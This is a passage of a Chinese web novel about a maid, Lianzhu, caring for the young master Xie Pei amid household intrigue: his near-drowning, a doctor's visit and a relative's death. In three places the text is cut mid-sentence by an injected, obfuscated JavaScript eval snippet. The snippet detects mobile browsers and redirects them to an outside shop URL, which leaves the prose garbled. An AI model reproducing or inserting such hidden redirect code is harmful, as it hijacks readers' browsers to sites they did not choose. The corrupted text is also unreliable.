“这个时辰怕是大厨房没什么吃的吧。”谢培洗了手，又坐下喝了口热茶。 “前儿大厨房给了些年糕，正好烤了蘸桂花蜜糖，好不好？” 整块的年糕切成小方在红泥小炉上来回翻面，白釉菊瓣盘里盛了两勺桂花蜜糖。 这桂花蜜是连珠用荆条蜜腌了新鲜桂花，又封了两个月才得，色如琥珀，状若流金。用烘得软糯的年糕裹上厚厚一层蜜，咬上一口，软糯清甜，回味甘长。 谢培就着茶一连吃了两块，见连珠执筷翻着年糕，就手接了过来。 他动作自然，等连珠反应过来，就见他将一块裹了蜜的年糕递到自己跟前：“味道不错，你也尝尝自己的手艺。” 连珠端着盘子愣神，等到夜里，仍在想舌尖化开的那点甜。 槐叶参差，风移影动。 她忽然想起从前自己眼睛被一双肉乎乎的小手遮住，指尖黏黏的轻点在她的颊边。 “娘，你猜我给你喂了什么？” 花生焦香，油脂气盈满口腔，她哪里吃不出来呢？ 翌日晨起，连珠抹了一把脸，泪痕早干透了。 她一日都恹恹的，叫兰儿以为她害了什么病，拿了药油又要给她揉。 “不用，我是...”连珠把她推开，又不知如何解释，只好强打精神重新拿起绣绷。 午后，两人回房和衣休息，才刚迷迷糊糊地闭上眼，就听见一阵拍门声。 兰儿掀了薄被，恼火骂道：“谁啊！这大中午的，还让不让人休息了。” 她趿了鞋就往院里去，连珠也起身走到桌边，拿了梳子梳头。 只是这梳子还没拿稳，就听兰儿凄厉一声吼，吓得她手中不稳将梳子摔在地上。 “三少爷！三少爷！” 8. 手伤 两人抬的担架上，谢培浑身湿透，衣摆裤脚都还在往下淌水，几缕湿发贴在苍白如纸的脸上。 连珠见状也吓了一跳，她一边让把人赶紧往屋里抬，一边问：“这是怎么了？” 那抬架的小厮急急道：“三少爷摔进了私塾边的镜湖，好像泡了许久才救上来。上来人就不行了...” “胡说！什么不行。”连珠将人扶到榻上，听他牙齿磕碰的细响，看他面颊浮起的潮红，心头发紧。让兰儿赶紧铺炭，又叫青芝赶紧拿水，“可请大夫了？” 那小厮被她这看似娇柔的丫头一呵，也是愣了：“没有。” 连珠是慌了神，回神后想，是了，他们没有牌子，便是能出府请了大夫，人也带不进来。 她给谢培抹身、换衫的动作不停，又问：“大老爷可在府里？” 那小厮见她问题跳得颇快，反应了一下，才连连点头。 连珠心中立时有了计较，对着兰儿青芝道：“换上干爽的衣衫就把三少爷扶去床上，用厚被子捂了，塞个汤婆子，门窗都关紧了别叫吹风。我去请大夫！” 连珠噼里啪啦放鞭炮似的将话说完，撒丫子跑了出去。 她一口气没歇跑到了暮香堂，院门没关，她也顾不得规矩推门就进。 正堂的门倒是闭着，门口站的那个庆宁嬷嬷，正是白芍的娘。 她也认得连珠，自己女儿极不喜她。上前一步就挡在门口，压低了声音道：“你不是清月阁的么？这时候来暮香堂做什么？” 连珠屈膝行礼，声音清亮：“烦请嬷嬷通传，三少爷落水发热，要请大夫看看。” 庆宁嬷嬷见她声音颇大，拉她往后走了两步：“小点声，夫人正歇午觉，只是发热没什么要紧，等夫人醒了再说。” “嬷嬷，三少爷已是打了冷颤，等不得。” “谁说等不得？你一个丫头，擅闯主院已是无礼。惊了老爷夫人歇息，这罪过你担得起？” 这分明是有意刁难。 连珠心思百转，余光瞥见后头花架上的一盆腊梅。 她故作丧气，装出一副垂头认命的模样，转身欲走。只是脚下一个不稳，身子后倾不偏不倚正撞上那盆腊梅。 红彩八方的花盆碎了一地，连珠吓得低呼一声，跌坐在碎瓷旁，手心按住地面。 庆和嬷嬷张口欲骂，正房的门却吱呀地推开了。 “闹什么？老爷才刚歇下。”春蝉瞧了满地的狼藉，目光落在连珠身上。 连珠就着跌倒的姿势跪直，没放低声音将方才的话又重复一遍。 春蝉眸光微动，就听屋里传来一声咳嗽，接着是妇人微哑的声音：“唤她进来回话。” 连珠低头跨进门槛，一股沉郁的暖香扑面而来。脚下是寸厚的猩红毡毯，绒毛细密，踩上去寂然无声。 她不敢抬头，目光只垂落在眼前三尺之地。先瞧见一对紫檀木太师椅，椅前踩着一双玄色缎面官靴。 “你是培儿院里的？方才在外面说他怎么了？” 谢渊刚要歇下，就听见门口吵闹，他心中不悦连带着语气都重了两分。 他们一个个地左问右问，却叫连珠心中着急，不敢催促。 “回老爷的话，三少爷落水不醒，得请大夫来看，实在是耽误不得。” 落水？ 谢渊浓眉倒竖，对这个庶子他是既爱又恨，只是才刚高热病重，就又落水昏迷，也不知是不是不详。 他想到这里，心中倒是多了些怨愤。 “既是落水的大事，刚刚怎么不进来通传？” 跟着进来的庆和嬷嬷听见老爷如此发问，身子一抖，想到清月阁原先发卖的那些下人，那丫头若是乱说... 连珠垂头不语，幸而内间门帘轻动，袁英华缓步而出，那微哑的嗓音适时响起：“老爷别急，既是孩子落了水，请大夫来看便是。春蝉，拿我的对牌去请李大夫。” 连珠偷瞧了那伶俐的春蝉一眼，忧心她会不会被授意，来回路上刻意耽误。 她原本想自己亲自去请，但夫人话已出口，已是转圜不得。 连珠行了礼退至门外，这才发觉先前掌心按住瓷片划出老长一条，已是淅淅沥沥滴了些血。 她是有意伤了自己，好叫他们误会自己确实粗心，并非故意。却没想到伤得重了些，赶紧握掌成拳，快步走出暮香堂。 只是走了一半，就被一个方脸圆眼的小厮拦住，低头快语：“姐姐等等，老爷说要一同去瞧瞧三少爷。” 知道大老爷要去清月阁，连珠委实松了口气。 当着老爷的面，夫人便是想耍些手段，也是不能了。今日她特意问了老爷是否在府，也是为着这个缘故。 她心中挂着谢培，压根没注意到身边的小厮几次张口，也不知是顾及走在前头的老爷，还是见她冷脸骇人，到底是一个字没说。 直到跨了清月阁的门槛，那小厮帮着连珠扶门时才终于找到机会：“姐姐，我...我叫冬生。” 连珠不明所以，看他一眼，随口应声，疾步跟着大老爷入了正堂。 屋内燃了炭盆，暖融融的。 本以为青芝、兰儿守着呓语不断、满面潮红的三少爷，定是手足无措，谁知床前早坐着位白眉须长的大夫搭脉问诊。 谢渊眉头一皱，转身去看连珠，高声喝道：“不是说没有大夫，耽误不得。好大胆的奴才，竟敢唬人！” 连珠也不知这是哪来的大夫，被劈头盖脸骂得一头雾水。 不过有大夫能给三少爷瞧病就好，她盈盈下拜，准备认错，就听书房那边一人走来：“伯父，大夫是我叫来的。” 谢垚绕过大漆隔扇，款款走到连珠身侧站定。 谢渊一见他，面色松动。 他有两子，大儿子谢坤将要十八，一事无成。小儿子躺在床上，病情未知。 自己二弟的独子谢垚却是小小年纪已经中了举，叫他实在羡慕。 他见这侄子翩翩少年，心中欢喜，又听他道：“我听清月阁喧哗，便差人来问。知道是三弟落水，恰逢给母亲诊脉的大夫尚未出府，就顺道将人带了过来。” 谢渊闻言已是嘴角含笑：“垚儿有心了。” 那边厢，大夫已经撤手起身。谢渊这才回身去问：“大夫，我儿可还好？” “三少爷脉象浮紧，寒气入侵。所幸救得及时，肺腑未伤根本。老夫先以金针驱散表寒，再开些药吃上几日，缓缓养着，应该没什么大碍。” 谢渊闻言放心，又对跟着的冬生交代去拿些进补的药材，借着下午公务繁忙先离了清月阁。 只是他临走时压根没注意连珠，末了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092442|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谢垚瞥她还在一旁跪着，略一抬手：“别跪着了，起来吧。” 连珠呼出一口浊气，跪得久了不光是膝盖，就连掌心的伤口也隐隐作痛。 谢垚带来的大夫施针颇快，几下收针之后便到谢垚跟前回话。 床帐内人影模糊，连珠两步上前，想要看看谢培如何，忽听那大夫叫住自己：“姑娘且慢。” 连珠疑惑止步，见那大夫从谢垚跟前朝自己走来。 “姑娘手伤不治吗？” 手伤... 连珠下意识地紧了紧手。 自己方才一直在墙角站着，这老大夫怎么知道自己手伤了。 八仙桌边，两人对坐，连珠手一伸出，就听那大夫道：“这伤口凝血，还沾了这么多的泥污，怎么不尽早清洗？哎，要是不谨慎处置，恐要溃烂的。” 棉球沾水来回擦了，连珠这才觉出火辣辣的疼。 那疼刺她激灵，睁眼时正好看见帘下背身而站的谢垚高风秀骨。 她忽地心头一明，先前他站在自己身边，目光似乎在她手边停了一瞬，方才同大夫说话的也仅有他一人。 是他？ 药膏填进伤口，清凉的气息漫上来，好似站着的那人俊爽清秀，透着拒人千里的冷，偏又在无人在意时，落下一二点暖意。 —— 暮香堂内，烛火通明。 袁英华坐在桌边，手里拿着腊祭的单子。 湖色缎钉珠的绣鞋一下一下在王庆和的跟前晃得她心中发慌，她今日办砸了差事，连个小丫头都没拦住，也难怪夫人心中有气。 不知伤了什么阴鸷，她家近来不顺，白芍来递消息平白伤了不说，今儿她还碰上这事。 院里人皆知那柳氏是夫人的心头刺，好容易丢了性命，可留下个孩子日日碍眼。前些时日高烧没能烧坏他的脑袋就够叫夫人堵心，偏今日那丫头来请大夫还撞上老爷在侧。 “夫人...” 袁英华染了蔻丹的指甲捏紧单子，眉眼未抬，阴测测地道：“怎么就这么巧？那丫头真不是故意摔了花盆的？” 王庆和没想过这个，微一愣神，忆起午后的那一出，摇摇头：“不能吧？我看那丫头都要回去了，是脚下不稳才摔了跤。再说，她手还伤了老大的口子，就是做戏也不必如此吧。” 她推己及人，是绝不信一个小丫鬟为个不得宠的主子能做到这种地步。 袁英华也知那丫头流了一地的血，口中轻哼一声：“叫她坏了事。你说她是家生子？” “是，天香楼二掌柜的女儿。” 天香楼是老三的产业，倒不是那么好插手了。 袁英华将单子拍在桌上：“落水也能救回来，还真是他命大。罢了，救回来就救回来吧，瞧他这多灾多难的，也不像是个有福的。大爷去了那里，可有说什么？” “没有，没有，大爷都没多待。”王庆和赶紧捡着袁英华爱听的说，“还没一刻钟，我瞧着就出府了。” 倒是春蝉续道：“就是我请了李大夫去清月阁时，二少爷已经叫了大夫给人瞧过病了。” “哼，他倒好心。自己娘都要入土了，还能管得这许多闲事。”袁英华说着褪下两只玉镯递到春蝉手里，转而对着王庆和道，“行了，若是你女儿好了，叫她早日回清月阁替我看着。” 9. 上床来睡 谢垚回到卧云居时，腰间少了个白玉透雕双雁圆花囊。 并非丢了，而是让顺心赏给了清月阁的小丫头。 兴许是瞧她手伤可怜，上药的时候不敢吭声，在他背后只咬紧了牙嘶嘶地抽气，算是奖她忠心护主。 连珠瞧着手里那花囊，不明白为何二少爷为何如此大方，平白打赏。那白玉如雪，一双大雁精雕细琢，实在是价值不菲的好东西。 她还要再想，却听里头青芝唤她。 今朝事出突然，青芝瞧着三少爷晕厥没反应过来，叫连珠一顿安排。这会儿得知三少爷大安，心中已定，又抖起了威风。 “白芍不在，三少爷又病着，我比你们略高一级，斗胆来做主。今儿夜里连珠值夜，兰儿把三少爷换下的衣裳、湿了的垫子洗了，我明儿早起熬药。可听清楚了？” 青芝满意地瞧着两人垂首应下，施施然地出了正房。 等她一转身，兰儿就朝连珠做了个鬼脸，噘嘴抱了衣服去洗。那意思是怪青芝光捡了轻松的活干。 这会儿不算晚，连珠赶紧用了饭，又匆匆洗漱过，才抱了一块灯芯草席的褥子铺在榻登上斜靠着坐下。 床脚熏笼里的炭还燃得旺旺的，并不算冷。 闹了一天，她确实也累了，才靠了一会儿，眼皮便开始打架，嗅着那炭火烟气很快就沉沉睡去。 到了夜里，青砖的凉意透过榻登钻了上来，连珠蓦地打了冷颤，睁开眼来。 “连珠！” 仿若心有灵犀，床上的人亦是悚然一惊。 “可是梦魇了？我在这儿，三少爷莫怕。”连珠掀了床帐，外头的烛火光烧进帐内，她看见谢培脸色青白。 谢培落水之后，觉得自己口鼻被掩，连透气都算困难，失去意识好一阵，才又感觉陷入了软和的包裹之中。 阳光晒得暖融的气息萦绕他鼻尖，他觉得这气息很熟悉，像是上回梦中和姨娘牵手走着闻见的气味。 待要细想，他的脑袋又一片混沌，牵着姨娘的手一空，就连脚下踏得坚实的地都倏而消失，人猛地下坠，惊出冷汗猛然大叫：“连珠！” 他弹坐而起，几乎是立时捉住连珠的手，像是在水里捉住一根浮木。 “连珠。” “做噩梦了是不是？”连珠瞧他鬓发濡湿，赶紧将手从他掌中挣脱，拿了汗巾擦过他额角前胸，“刚落了水，可不能再着凉，快睡吧。我就在这儿，哪也不去。” 不知是不是谢培病重脆弱，还是她又将人认作谦哥儿，她好似老牛舐犊，一派慈爱。扶着谢培躺下，又窝了被角，连珠刚要在踏上坐下，就听谢培囔着嗓音问：“你睡在哪儿？” “就在这儿。” “这儿！？” 才刚躺下谢培又撑着床板坐了起来，他探出床帐就看见连珠放在床榻上的褥子，想到握住她手指尖留下的凉意，又拉了她的手腕将她往床里拽：“我不让你睡这儿，太凉。” 连珠见他耍赖的孩子气模样全不似平常，好笑道：“不凉，旁边有熏笼呢。” “那也不行。”谢培不肯，铁钳般地箍得她手更紧。 “你病了得有人守着，明儿好了，我就回去睡了。只一晚，没什么要紧的。”连珠柔声安慰他。 谢培却像听不进去，也觉得连珠这番话实没有说到他心坎上。他摇摇头，绷直唇线，身子靠她更近，缓缓吐出几个字：“你上床来睡。” 连珠愣住，感受到他身上汩汩的暖意。 “三少爷说笑，我是奴婢，怎么能上床去睡。” 谢培从来知情识礼，但这个夜里对于这件事，却难得执拗。他依旧摇头，去捞连珠的另外一只手。相触的时候，意外没有肌肤相亲，而是摸到了一层纱布。 灯影晃动，他执手就见那纱布包扎工整，是新伤。 他声音干涩，目光凝在她的掌心：“怎么伤了？” 连珠知他心思重，又怕他多想，应付道：“不小心摔了。” 不小心... 烛火猛地爆了一下，谢培混沌的脑子这一刻忽然清明，声音淡而轻：“大夫怕是不好请吧。” 姨娘新丧，他的病拖了五日才等来个大夫。这回大夫来得如此及时，他要谢她。 可他要怎么谢她？ 他害她睡在床榻，还要说谢，这念头叫他浑身脱力，唯独两只手还死死地捉住她的胳膊，不肯放开。 连珠瞧他脸色又白了一分，知道瞒也瞒不住，叹了一口气道：“不是叫我上床睡么？你抓着我，我怎么上去？” 谢培闻言呆愣，然后又不住地轻笑，转而拉着她的手，让出一个位置，生怕她睡得挤。眼见两人之间拉开距离，他又偷偷蹭了过去。 连珠没注意他的小心思，只褪了绣鞋没脱外衫，轻靠在被褥上：“这样便不怕了，病人要少思多眠，快睡吧。” 她整个身子半侧着，只占了一掌的位置，却叫谢培半张脸都在她拢下的阴影里。靠得近了，那让人安心的气息更浓，他想起也是在这儿初见连珠。 “那一回病着，也是我害你伤了手。” 谢培平躺着，眼睛瞪着帐顶模糊的花纹，心思迁远。 已经过去几个月了，他也没想到，自己会把对连珠的那一声呵斥，记得这般清楚。 那是他最难熬的时候，也是第一次将自己的不如意迁怒到无辜的人头上。他以为他已经成熟，但其实还是个孩子。 指头上的小伤口早就愈合，那点子疼也没在连珠心里留下什么波澜，她隔着被子拍拍谢培的胸口，像是从前哄谦哥儿入睡一般。 “都是小伤，不碍事的，刚刚才说快睡，快睡吧。” 谢培闭了眼睛，睫毛仍在黑暗里微颤，他止不住地想连珠去暮香堂请大夫受了多大的委屈，为他受的。 他又想，他真的不能为她做主。 静默良久，身边的人呼吸绵长，显然已经睡熟了。 谢培小心地扭身对她，睨她垂在身侧裹了纱布的伤手，喉头滚动，莫名感到鼻酸眼热。 他捻着指腹，喃喃自语：“我总叫你委屈。” 等到再醒来的时候，身边被子连人躺过压出的痕迹都没了，昨夜好像又是他发的一个梦。 青芝早上来换连珠，这会儿正坐着歪头打瞌睡，一听内间响动，半晌回神匆匆进了里屋。 床帐半掀，谢培披了外衫正要趿鞋，看见来人下意识就问：“连珠呢？” 青芝脚步一停，答道：“连珠昨儿守了一夜，我一大早就让她去歇息了。三少爷，可是有事找她？” 谢培闻言顿住，胸口一满涌出些心疼：“不必，让她歇着吧。” 之后喝粥、吃药，歇到午后，连珠又像上次一般给谢培煮了汤。如此谢培倒是一日好过一日，也算是在年关前健健康康地出了院门。 府里给少爷小姐们做得过年的衣裳袜靴也叫送来，银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092443|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红喜相逢团花纹的大袄甚是喜庆。 谢培肤白，穿红色更是娇艳。那衣裳是挑了银线绣的，内里充得上好丝绵，要费不少银子。 青芝撺掇他去试，谁知遭了白眼。罢了，她反正冷眼瞧着，这院里得宠的是连珠，自己是说不上话了。 果然，待连珠拿了那衣服去谢培身前比划，谢培半个字也没说，任她摆弄。 “衣服还是要试一试，若是有不合身的地方，我提前改了，也不至于大年三十上宴的时候手忙脚乱的。”连珠说着，一指那肩缝，“瞧，不细看还不知这里略宽一些。” 谢培听她絮叨，眼角含笑，没有一点不耐：“你针线活好，自己看着办就是了。” 连珠听他夸赞，知他是在说自己缝的那个素面笔袋，也拿了针线抿嘴笑。 等衣裳改好，又落了一场雪，也就到了年三十。 往年老夫人在时，大房、三房都是一块过年。今年虽是情况特殊，但惯例没改，仍旧三房合一起凑个热闹。 白日里，阖府打扫、开祭宗祠，内外忙碌。到了晚上起宴，园子东南角太湖石旁前几年新建的金徽堂妆点一新。堂前繁种玉兰迎春海棠牡丹，图得是玉堂春富贵的好意头。府中一应佳节庆典皆在此设宴，今次也不例外。 堂内满铺红毡，正桌放十张雕漆椅，男女并不分席。 左边另放一八仙小桌，四面刚好坐下四位姨娘。大房的春萤是袁英华的陪嫁，容貌比之谢培的娘亲柳迎霜差了不是一星半点，故而并不得宠，膝下也无子无女。三房则有芳姿、鸳鸯、嫣红三位姨娘，芳姿和鸳鸯各有一女儿，大的谢玉棉刚满五岁，小的谢玉椿不过三岁。 谢渊正座，左右两侧分坐袁英华和三弟谢浔一家。袁英华下手则留了秦如月的座儿，而后便是按孩子们长幼次序排座。除了谢坤、谢垚、谢培兄弟三个，谢家这一辈皆是女子。 大姐谢玉棠是袁英华所生，年方十二。二小姐谢玉柯乃二房嫡女，也是十二年华，比谢玉棠小了两个月。三房除了四小姐谢玉棉、五小姐谢玉椿，还有三夫人所生的三小姐谢玉槿。 一桌热闹。 只是秦如月病重，谢垚、谢玉柯也未曾露面，二房单让丫鬟泉黛来散了压岁钱。 而后又上了合欢宴，当中一道八珍鸭子，选了海参、干贝、鱼肚、鱼翅...填入脱骨的鸭腹内隔水蒸制，鸭肉酥烂、汤汁醇厚，老夫人在世时最中意这道菜。 这席面安排得别有用心，果叫谢渊见了心中不爽利，银箸往碟边重重一搁，迁怒谢培。 闹了这一出，饭是不好吃下去了。 谢培离席朝着众人一鞠躬，咬牙道：“姨娘有过，培儿心中亦是愧疚，不敢贪乐。” 他转身朝外走，也无一人拦他，袖中攥得指节发白。穿过月洞门时，夜风扑面而来，带着院中残叶的苦涩。月光把青石路照得泛白，像铺了一地冷霜。 他越行越快，快到清月阁时才记起自己准了连珠回家过年。 飘飘何所似？天地一沙鸥。 谢府如此之大，自己竟无一处可去。 他扶着院门，总感觉闷着一口气发不出来也咽不下去，要迈出的那一条腿灌了铅的沉重。 头顶那糊了红纸的灯笼被烛光映得透亮，寒风一吹，照出他的影子忽大忽小，在寂夜里晃得他神思飘摇。 恰在这时，忽而一声冲破黑暗，绕到他的耳边。 “三少爷？” 10. 满腹心事 连珠回万秀巷吃了顿团圆饭，靳掌柜生怕她回府迟了，上完最后一道菜才吃了两口就赶她回去。 范荣儿不舍，又装了一盒子的吃食让她带着，路上絮絮说了很多，直送到巷子口才停下。 亲娘的爱着实沉重，连珠上辈子没感受到的父母之爱，这一世算是饱尝了。 只是这阖家欢庆的日子，难免又叫她忆起从前，那为谦哥儿报仇的心思又重了几分。 拎着盒子走到清月阁门口，连珠的手腕几要断掉。 在桂树下放了食盒歇息，再要提起的时候就见院门口立着个人。银红喜相逢团花纹的袄子，却不见穿着的人脸上有半点喜气。 “三少爷？” 连珠的声音不高，从身后飘来叫他肩背一僵。 那夜里的风也不知何时停了，头顶灯笼里的烛火爆出一粒火星子，猝然下落，落进他哽在胸口的那团冰。 连珠提了食盒上前：“宴席散了？还是不舒服？怎么这么早就回来了？” 谢培转头，看她眸似寒潭揽月，揽住他七分心事。 他想说在白日糟了冷遇，席上受了委屈，但喉头滚动，闭了眼睛又张开，再对上连珠那一双洞若观火的清亮眸子，已是眼中带笑：“连珠，别问。” “什么也别问。” 青芝和兰儿今夜在大厨房拿了酒菜，剩了半壶烧刀子被连珠拿回正房在炉上热着。 谢培想吃酒。 要她说，十二三岁的孩子吃什么酒。 但今夜他心思凝重，真想喝就喝吧。 连珠悄悄往酒里兑了些水，又把家里拿来的吃食摆在桌上。范荣儿手艺一般，比不得谢府大厨房的精细。 大刀咸肉、糟鸭掌...都是口重的菜，并不合谢培的胃口，偏他不肯让连珠去大厨房叫菜，只是一个劲地斟酒，活脱脱一副要把自己灌醉的架势。 连珠怕他饿着肚子喝了许多伤胃，按下他的手，不让他再进。 一盘炸丸子移到谢培面前，连珠夹了一颗送到他碗里：“这丸子是和了糯米、萝卜炸的，调得料轻，你尝尝。” “你做的？” 谢培脸上早被酒气蒸得通红，只睁着双雾蒙蒙的眸子望过来。 连珠点头：“尝尝？” 谢培也学她点头，想拿筷子却怎么也夹不稳。连珠笑他猴儿一般，接了筷子夹起一颗递到他的嘴边，谢培凑过来，就着她的手便吃了。 丸子外皮酥脆，内里软嫩，馅儿里的萝卜丝丝清甜。 谢培嚼着嚼着，眼皮微抬，就见连珠为着给他夹菜不知什么时候已贴近他站着。 她身上不知熏得什么香，馥郁芬芳，竟比那几杯烧刀子更易叫人玉山倾倒。 他... 他真的醉了。 谢培头一回酒醉，夜里入梦却分外清醒。 仙山飘渺，飞阁流丹，这些仙家之地决计不是现实所有。 他是在做梦。 可即便是梦，这般美景，也下意识地不肯清醒。 谢培走走停停，路两边绰约多仙子，一直往前走到湖心尽头，见一昆仑阆苑。苑中一女子亭亭玉立，虹裳霞帔，却梳着谢府丫鬟常梳的双垂髻。 他心驰神往，被蛊惑地走到那女子跟前，伸手去抚她的肩，也不知是不是想细看她的面容。 只是指尖还未触到她的华裳，就见她缓缓回身，轻握住他顿在半空的手，引他贴近。 香气渐浓，谢培听见她轻叹一声，微微低头，双唇随即落在他额上。 柔软...湿润... 谢培猛地惊醒，浸透一身潮气。 窗外晨曦初露，好似照出他满腹心事，他清楚记得那梦中女子面如敷玉，唇似含朱。 那女子...是连珠。 自己怎么会做这样的梦！ 谢培僵坐床上，心如擂鼓，他还没想出个所以然，就听有人脚步匆忙。 他一把扯过被子盖在腿上，见进来的是青芝，吊起的那口气方才松了下来。 “三少爷，二夫人她...殁了。” 秦如月死在了正月第一天。 挂了没几日的红灯笼赶紧撤下，换了白的上去，已经是短日子里的第三回了。 二房并不在延洲久居，府中家仆少受恩惠，倒无几人真心悲痛。 但人既已去了，身后事还需料理。 秦如月是二房正经主子，又是永宁侯府出身，身后事自然是要大操大办。 只是谢垚年轻，谢湛远在京城，要赶来需要时日，这些事务便交给袁英华代管。 棺椁要定，讣闻要送，单是安置从慧明寺请来超度的八十八位僧众，就颇费了一番功夫。 “上回安顿僧人的房舍还没修好，这次便让他们住一进院车马房前的那片平房。”袁英华给谢渊递茶，扶扶鬓发坐到他的身边。 “这些事，你做主吧。”谢渊最不耐这些俗事，摆手道，“让下人看好别生出事来。这些日子，要辛苦你了。” 袁英华好容易听他说这么句关怀的话，眯着眼睛有了笑意：“还不到辛苦的时候。三日后开丧，在静修斋停灵七七四十九日，又有多少亲友要来吊唁，数一数都是事。二房从京里带的人手本就不多，老爷，我想着从各院都抽些下人，你看可好？” “你说好便好，你做主吧。” 府中有主子过了，这个年过得是凄凄淡淡，清月阁亦如是。 连珠不爱热闹倒没什么，青芝和兰儿被拘着不能玩闹，成日都有些蔫蔫的。 就连谢培这日回来，面上都像裹了一层纱，不比寻常高兴。 连珠以为他也被府中事情影响，心情不悦，想着做些什么哄他开心。 白瓷胆式瓶插了一株盛开的腊梅，摆到谢培面前的书桌上。 腊梅幽香，闻来心醉，谢培看向她问：“哪来的？” “问园子里花匠讨的，咱们院里冬日没花，折枝插瓶，能让你看上几日。”连珠将那瓶子摆正，开得最好的几朵梅花正对着谢培。 谢培没看花。 他从前看连珠，总带着三分审度，看她眼底深意，看她如何做事。 可今日，落在他眼里是连珠整个人，是她沉静的双眸，微翘的唇角，是她不经意低头时耳边垂下的两绺青丝。 他问：“为何对我这么好？” 连珠觉察出他不对劲，却不明白他怎么不对劲。 谢培看她，等她回答。 “少爷是连珠的主子...” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092444|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连珠话没说完，就被打断。 “若我不是你的主子...”谢培拧起长眉，“你只是因为我是你的主子，才对我好？” 他执拗地发问，要连珠给一个答案，他满意的答案。 连珠当他是小孩起性，像是哄谦哥儿一般地哄道：“自然不是。我对你好，也是因为三少爷好。你待下宽和、心思良善，和是不是主子有什么相干。” 她说得都是谢培想听的，可真的听到耳朵里，谢培心里又一阵阵地发虚。 不单单是为着前几日的那场梦，还为着他又要叫她委屈一次。 他嗫嚅：“我不好。” 几个字轻的像一阵风，还没飘到连珠耳边，就被他摆手让连珠退了下去。 晚膳后，暮香堂来人，是袁英华身边的喜和嬷嬷。 “你就是连珠？” 喜和是袁英华的陪嫁嬷嬷，瞧着慈眉善目，但身上自有一股气势，说起来她比白芍的娘还要长上几岁，高出些辈分。 连珠不敢怠慢，敛衽而拜：“是。” 喜和嬷嬷上下打量她一番，说话间透着长年掌事的利落：“二夫人身故，如今要办白事，各处都缺人手。大太太点了名，借你去帮着料理几日。” 事情突然，连珠消化一下，才恭敬应道：“是。” “东西只简单带些贴身的，等到了静修斋，一应用品都有。”喜和嬷嬷说完，插手立在旁边，似乎是等她收拾完就要领她走。 连珠没想到这么急，只好匆匆打了个包袱，临走前却道：“嬷嬷，容我去同三少爷回禀一声。” 喜和嬷嬷眼皮微抬：“这事大太太已经先同三少爷通过气了，罢，你就去一趟，可得快些。” 连珠按在包裹上的手一顿，行了个屈膝礼，往正房去了。 谢培依旧坐在桌前，那枝腊梅依旧香气袭人。 他受了连珠的礼，头也没敢抬。 今日回府他便被人请到暮香堂，孤身踏进杀母仇人的地盘，他心里没底。 袁英华和颜悦色，在他看来却是人面兽心。 除夕夜刻意安排一盘菜，连消带打就叫自己下场，他等着看她这次又有什么招数。 谁料袁英华开口就问他要人，还用的是如此正当的理由。 “你院中人少，本不应该张口。可事出有因，你二婶的丧事不可轻简。”袁英华叹了口气又道，“你也不必担心，庆和说了，白芍身子大好，过两日就能回府...” “母亲说的哪里话，白芍回来，那院里的事自是支应得来。”谢培怕她挑中连珠，赶紧开口，“培儿院里的青...” 袁英华截住他的话头，一双眼看向谢培勾起嘴角，轻巧地端起茶盏浅抿一口：“我听说你院里的连珠做事很稳妥。” 谢培一听见连珠的名字，耳边骤然嗡鸣，后头的话已是听不清了。 他明知连珠此去定要受累，却连一句不愿都说不得。 许久，他才又听见自己的声音一字一句地响起：“连珠确实妥帖。” 她确实妥帖。 知道他心中有愧，亦是半个字不提，不叫他难堪。 谢培怔愣半晌，指尖抚上那腊梅柔嫩的花瓣，才惊觉自己在她走时连一句话都没说。 11. 物是人非 静修斋紧邻园子边的花房，是大园中开的小园。 小园东边复廊开了一扇门，南边静修斋围种芭蕉翠竹，北边矮墙池塘，西侧则是几间耳房。 喜和嬷嬷领着连珠和玉露进了院子，房檐之下尽挂丧幡，瞧着叫人害怕。 玉露缩着脖子，一哆嗦，就听那不苟言笑的老妇道：“院里房子不多，你们都住西边通铺，没有允许不许回从前的院子。还有，大夫人从各院调了二十八个丫鬟十六个小厮，再加上二房的人，停灵期间，你们尽数归我分派。” 玉露撇撇嘴，继续听她说下去。 “你们先回去把东西归置归置，辰时一刻到院里听差。” 喜和嬷嬷说完也不再管两人，转身忙去了。 玉露拎着个扁扁的包袱，分明是不打算在这里长住。她柳眉微挑，睨着上下打量连珠，见她也是有几分姿色，生出了一些同病相怜的感情。 “我就知道，也怪我们出挑，不然怎么会有人见我们在主子跟前得脸，就被排挤到这儿来做苦力。”她说着委屈，一双凤眼霎时红了，叫人看来楚楚可怜。 她自觉在松风苑一干丫鬟中长相最为出挑，也最得大少爷喜爱。红袖添香是她，西窗剪烛也是她，紫笋同她争风，绿雪对她也拈酸吃醋。她们一个个都盼着把自己赶出去，好在大少爷面前争个一席之地。 